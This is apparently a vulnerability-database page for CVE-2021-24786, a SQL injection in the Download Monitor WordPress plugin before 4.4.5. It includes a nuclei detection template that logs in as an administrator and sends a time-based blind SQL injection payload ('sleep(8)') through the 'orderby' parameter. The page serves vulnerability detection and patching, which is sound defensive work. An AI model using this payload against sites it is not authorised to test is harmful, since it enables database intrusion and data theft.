HexBrain

Browse / CVEs / CVE-2021-24786

CVE-2021-24786· download monitor project / download monitor· CWE-89

Download Monitor < 4.4.5 - SQL Injection

highseverity
7.2CVSS score
17.3%likelihood of exploitation, next 30 days
97%of all CVEs are less likely
Readycheck to confirm it

The Download Monitor plugin for WordPress is vulnerable to SQL injection via the 'orderby' parameter in versions before 4.4.5 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers with administrator-level permissions to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

Impact

Attackers can execute arbitrary SQL commands, potentially leading to data theft, modification, or deletion.

Fix

Update to version 4.4.5 or later.

How to confirm it

Send: POST /wp-login.php ; @timeout: 30s
Positive when: contains(body_2, "dlm_product") and status_code_2 == 200 and duration_2 >= 8

Run it with nuclei: nuclei -id CVE-2021-24786 -u <target>

The full check
id: CVE-2021-24786

info:
  name: Download Monitor < 4.4.5 - SQL Injection
  author: MrHarsh
  severity: high
  description: |
    The Download Monitor plugin for WordPress is vulnerable to SQL injection via the 'orderby' parameter in versions before 4.4.5 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers with administrator-level permissions to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  impact: |
    Attackers can execute arbitrary SQL commands, potentially leading to data theft, modification, or deletion.
  remediation: |
    Update to version 4.4.5 or later.
  reference:
    - https://wpscan.com/vulnerability/a6571f16-66d2-449e-af83-1c6ddd56edfa
    - https://plugins.trac.wordpress.org/changeset/2610899/download-monitor
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24786
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2021-24786
    cwe-id: CWE-89
    epss-score: 0.17348
    epss-percentile: 0.97137
    cpe: cpe:2.3:a:download_monitor_project:download_monitor:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: download_monitor_project
    product: download_monitor
    framework: wordpress
    publicwww-query: "/wp-content/plugins/download-monitor/"
  tags: cve,cve2021,wordpress,wp-plugin,sqli,download-monitor,authenticated,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

      - |
        @timeout: 30s
        GET /wp-admin/edit.php?post_type=dlm_download&page=download-monitor-logs&orderby=download_date`+and+(select+sleep(8))+and+`user_id=user_id HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body_2, "dlm_product")'
          - 'status_code_2 == 200'
          - 'duration_2 >= 8'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from